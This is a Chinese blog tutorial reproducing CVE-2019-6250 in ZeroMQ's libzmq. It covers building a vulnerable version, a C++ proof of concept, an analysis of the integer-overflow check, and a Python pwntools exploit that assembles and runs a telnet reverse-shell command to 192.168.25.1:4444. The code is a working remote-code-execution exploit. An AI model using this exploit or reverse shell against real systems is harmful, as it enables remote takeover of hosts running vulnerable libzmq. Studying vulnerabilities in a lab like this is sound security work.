CVE初探之漏洞反弹Shell(CVE-2019-6250)__零开始网络安全教程

CVE初探之漏洞反弹Shell(CVE-2019-6250)__零开始网络安全教程

概述

ZMQ(Zero )是一种基于消息队列得多线程网络库,C++编写,可以使得编程更加简单高效。

该编号为CVE-2019-6250的远程执行漏洞,主要出现在ZMQ的核心引擎(4.2.x以及4.3.1之后的4.3.x)定义的.0协议中。

这一漏洞已经有很多师傅都已经分析并复现过了,但在环境搭建和最后的利用都所少有一些不完整,为了更好的学习,在学习师傅们的文章后,我进行了复现,并进行了些许补充,供师傅们学习,特别是刚开始复现CVE的师傅。

环境搭建

复现CVE最关键也是最繁琐的一步就是搭建漏洞环境,尽量保持与CVE报告的漏洞环境一致,如旧版本环境实在搞不到,就只能对新版本进行适当patch,把漏洞部分恢复以进行复现。

下面是针对该漏洞的环境搭建步骤

下载目标版本并安装

git clone https://github.com/zeromq/libzmq.gitcd libzmqgit reset --hard 7302b9b8d127be5aa1f1ccebb9d01df0800182f3sudo apt-get install libtool pkg-config build-essential autoconfautomake./autogen.sh./configuremakesudo make install

下载

git clone https://github.com/zeromq/cppzmqcd cppzmqcmake .sudo make -j4 install

测试

cd demo编辑main.cpp,添加printf("hello worldn");mkdir buildcd buildcmake ..make./demo

demo可以正常执行即可

在我看到的几篇文章中,好像都少了最后的make,导致编译并没有完全结束,影响后面的复现

漏洞复现

先看看已有的poc

#include <netinet/in.h>#include <arpa/inet.h>#include <zmq.hpp>#include <string>#include <iostream>#include <unistd.h>#include <thread>#include <mutex>​class Thread {public:Thread() : the_thread(&Thread::ThreadMain, this){ }~Thread(){}private:std::thread the_thread;void ThreadMain() {zmq::context_t context (1);zmq::socket_t socket (context, ZMQ_REP);socket.bind ("tcp://*:6666");​while (true) {zmq::message_t request;​// Wait for next request from clienttry {socket.recv (&request);} catch ( ... ) { }}}};​static void callRemoteFunction(const uint64_t arg1Addr, const uint64_targ2Addr, const uint64_t funcAddr){int s;struct sockaddr_in remote_addr = {};if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1){abort();}remote_addr.sin_family = AF_INET;remote_addr.sin_port = htons(6666);inet_pton(AF_INET, "127.0.0.1", &remote_addr.sin_addr);​if (connect(s, (struct sockaddr *)&remote_addr, sizeof(structsockaddr)) == -1){abort();}​const uint8_t greeting[] = {0xFF, /* Indicates 'versioned' inzmq::stream_engine_t::receive_greeting */0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* Unused */0x01, /* Indicates 'versioned' inzmq::stream_engine_t::receive_greeting */0x01, /* Selects ZMTP_2_0 inzmq::stream_engine_t::select_handshake_fun */0x00, /* Unused */};send(s, greeting, sizeof(greeting), 0);​const uint8_t v2msg[] = {0x02, /* v2_decoder_t::eight_byte_size_ready */0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, /* msg_size */};send(s, v2msg, sizeof(v2msg), 0);​/* Write UNTIL the location of zmq::msg_t::content_t */size_t plsize = 8183;uint8_t* pl = (uint8_t*)calloc(1, plsize);send(s, pl, plsize, 0);free(pl);​uint8_t content_t_replacement[] = {/* void* data */0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,​/* size_t size */0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,​/* msg_free_fn *ffn */0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,​/* void* hint */0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,};​/* Assumes same endianness as target */memcpy(content_t_replacement + 0, &arg1Addr, sizeof(arg1Addr));memcpy(content_t_replacement + 16, &funcAddr, sizeof(funcAddr));memcpy(content_t_replacement + 24, &arg2Addr, sizeof(arg2Addr));​/* Overwrite zmq::msg_t::content_t */send(s, content_t_replacement, sizeof(content_t_replacement), 0);​close(s);sleep(1);}​char destbuffer[100];char srcbuffer[100] = "ping google.com";​int main(void){Thread* rt = new Thread();sleep(1);​callRemoteFunction((uint64_t)destbuffer, (uint64_t)srcbuffer,(uint64_t)strcpy);​callRemoteFunction((uint64_t)destbuffer, 0, (uint64_t)system);​return 0;}​复制到demo重新编译

执行./demo

复现成功

帮助网安学习,全套资料S信领取:

① 网安学习成长路径思维导图

② 60+网安经典常用工具包

③ 100+SRC漏洞分析报告

④ 150+网安攻防实战技术电子书

⑤ 最权威CISSP 认证考试指南+题库

⑥ 超1800页CTF实战技巧手册

⑦ 最新网安大厂面试题合集(含答案)

⑧ APP客户端安全检测指南(安卓+IOS)

POC分析

poc主要包括下面四部分

greetingv2msgplsizecontent_t_replacement

v2msg用于设置=,其中的0x2标识程序进入y状态,调用zmq::::进行解析,zmq::::方法在做比较判断的时候,使用的 +加法发生整型溢出,导致可绕过缓冲区大小校验进入else流程。else流程调用zmq::msg_t::init()方法,该方法不会重新分配缓冲区大小而直接处理数据。在后续流程中将造成缓冲区写越界。下面是源代码中存在漏洞的部分。

if (unlikely (!_zero_copy|| ((unsigned char *) read_pos_ + msg_size_> (allocator.data () + allocator.size ())))) {rc = _in_progress.init_size (static_cast (msg_size_));} else {rc = _in_progress.init (const_cast (read_pos_),static_cast<size_t> (msg_size_),shared_message_memory_allocator::call_dec_ref,allocator.buffer (), allocator.provide_content ());if (_in_progress.is_zcmsg ()) {allocator.advance_content ();allocator.inc_ref ();}}

作为,长度为,使得t可以覆盖_u..指向的结构体。

CVE初探之漏洞反弹Shell(CVE-2019-6250)__CVE初探之漏洞反弹Shell(CVE-2019-6250)

ffn为函数指针,data和hint为两个参数的地址值,ffn将在tcp连接关闭的时候被zmq::msg_t::close()方法调用,看下图调试结果,成功执行了

_CVE初探之漏洞反弹Shell(CVE-2019-6250)_CVE初探之漏洞反弹Shell(CVE-2019-6250)

反弹Shell

由于还不清楚如何泄露地址,这里基于没有开PIE的程序编写exp。

通过分析POC,我们发现可以控制ffn,data和hint,即调用函数和两个参数,可以实现远程代码执行。

那么我的目标是反弹shell,也就是执行

system("mknod backpipe1 p && telnet192.168.25.1 4444 0backpipe1;")

,当然这只是其中一种方式。

那么,我的想法是,在二进制文件中找命令中的所有字符,通过执行进行拷贝,拼接成完整的命令,最后用调用函数进行执行,实现反弹shell。

exp如下

#!/usr/bin/env python# -*- encoding: utf-8 -*-'''@File : exp.py@Time : 2023/06/24 08:59:34@Author : 5ma11wh1t3@Contact : 197489628@qq.com'''​import ctypesfrom pwn import *import base64context.log_level=Truecontext.arch='amd64'elf_path = './build/demo'elf = ELF(elf_path)ru = lambda x : p.recvuntil(x)sn = lambda x : p.send(x)rl = lambda : p.recvline()sl = lambda x : p.sendline(x)rv = lambda x : p.recv(x)sa = lambda a,b : p.sendafter(a,b)sla = lambda a,b : p.sendlineafter(a,b)inter = lambda : p.interactive()def debug():    gdb.attach(p, 'directory    /home/guo/Desktop/cve/cve-2019-6250/libzmq/src')    pause()def lg(s,addr = None):    if addr:        print('033[1;31;40m[+] %-15s --> 0x%8x033[0m'%(s,addr))    else:        print('033[1;32;40m[-] %-20s 033[0m'%(s))​if __name__ == '__main__':    re_shell = b"mknod backpipe1 p && telnet 192.168.25.1 4444 0backpipe1;"    with open(elf_path,'rb') as f:    binary = f.read()    ads = []    for char in re_shell:    char_address = 0x400000 + binary.index(char)    ads.append(char_address)    for i in range(len(ads)):    p = remote('127.0.0.1',6666)    p1 = b'xff' + b'x00'*8 + b'x01' + b'x01' +b'x00'    p1 += b'x02' + b'xff'*8    p1 += b'a'*8183    p1 += p64(0x4050F8+i) # void* data rdi    p1 += p64(0) # size_t size    p1 += p64(elf.plt['strcpy']) # msg_free_fn *ffn func    p1 += p64(ads[i]) # void* hint rsi    sn(p1)    p.close()    p = remote('127.0.0.1',6666)    p1 = b'xff' + b'x00'*8 + b'x01' + b'x01' +b'x00'    p1 += b'x02' + b'xff'*8    p1 += b'a'*8183    p1 += p64(0x4050F8) # void* data rdi    p1 += p64(0) # size_t size    p1 += p64(elf.plt['system']) # msg_free_fn *ffn func    p1 += p64(ads[i]) # void* hint rsi    # raw_input()    sn(p1)    p.close()

演示攻击准备

本地起监听

CVE初探之漏洞反弹Shell(CVE-2019-6250)_CVE初探之漏洞反弹Shell(CVE-2019-6250)_

CVE初探之漏洞反弹Shell(CVE-2019-6250)__CVE初探之漏洞反弹Shell(CVE-2019-6250)

攻击实施

_CVE初探之漏洞反弹Shell(CVE-2019-6250)_CVE初探之漏洞反弹Shell(CVE-2019-6250)

获得shell

CVE初探之漏洞反弹Shell(CVE-2019-6250)__CVE初探之漏洞反弹Shell(CVE-2019-6250)

网络安全学习路线图(思维导图)

网络安全学习路线图可以是一个有助于你规划学习进程的工具。你可以在思维导图上列出不同的主题和技能,然后按照逻辑顺序逐步学习和掌握它们。这可以帮助你更清晰地了解自己的学习进展和下一步计划。

1. 网络安全视频资料

2. 网络安全笔记/面试题

3. 网安电子书PDF资料

如果你向网安入门到进阶的全套资料,我都打包整理好了,需要学习的小伙伴可以V我找我拿~

学网络安全/学黑客,零基础资料整理来啦~~~

~

  • 7
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值